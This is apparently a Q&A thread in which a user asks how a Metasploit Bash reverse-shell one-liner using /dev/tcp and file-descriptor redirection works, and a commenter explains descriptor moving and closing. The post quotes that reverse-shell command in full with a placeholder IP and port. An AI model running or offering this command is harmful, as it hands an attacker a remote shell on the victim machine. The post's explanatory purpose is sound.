I sometimes see Bash reverse shells as the following, where the pseudo file /dev/tcp/IP/PORT is used in conjunction with redirection (duplication of file descriptors):

0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202

However, why does the above command work (from Metasploit)? According to the documentation below (man bash), then 0<&202- should fail, because 202- is not a valid file descriptor open for input?

Bonus question: Can /dev/tcp/IP/PORT always be used as both an input file descriptor and as a output file descriptor?

The redirection operator [n]<&word is used to duplicate input file descriptors. If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor. If the digits in word do not specify a file descriptor open for input, a redirection error occurs. If word evaluates to -, file descriptor n is closed. If n is not specified, the standard input (file descriptor 0) is used.

  • For 0<&202-, check "Moving File Descriptors" in the bash(1) manpage. Of course, the fd 202 has to be open for that to work. For your bonus question, yes <, >, and <> work exactly the same with /dev/tcp/host/port. See also this. – mosvy Jun 28 at 11:51
  • Thank you. Are these /dev/tcp.. the only special files that Bash threat both as files and file descriptors? If 202 must exist and be open, why does the above command work (it does work)? – Shuzheng Jun 28 at 12:36
  • The 0<&202-; does not "work". If the fd 202 is not open, it will complain. Either way, it should just juggle with dup'ing fds back and forth and have no lasting effects. Unless it's trying to leverage some bash bug, which I'm not able to figure out. Where did you get that code from? – mosvy Jul 4 at 18:52
  • The code is from Metasploit framework. Won't the other commands fail, if the file descriptor is not closed first in case it was already open? – Shuzheng Jul 5 at 5:25
  • No, the 0<&202- has no effect whatsoever. And a simple exec 77<foo or exec 78>&5- will close whatever file the 77 or 78 fds referred to before. Look the dup2() syscall -- they're the 2nd argument to it. – mosvy Jul 5 at 7:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.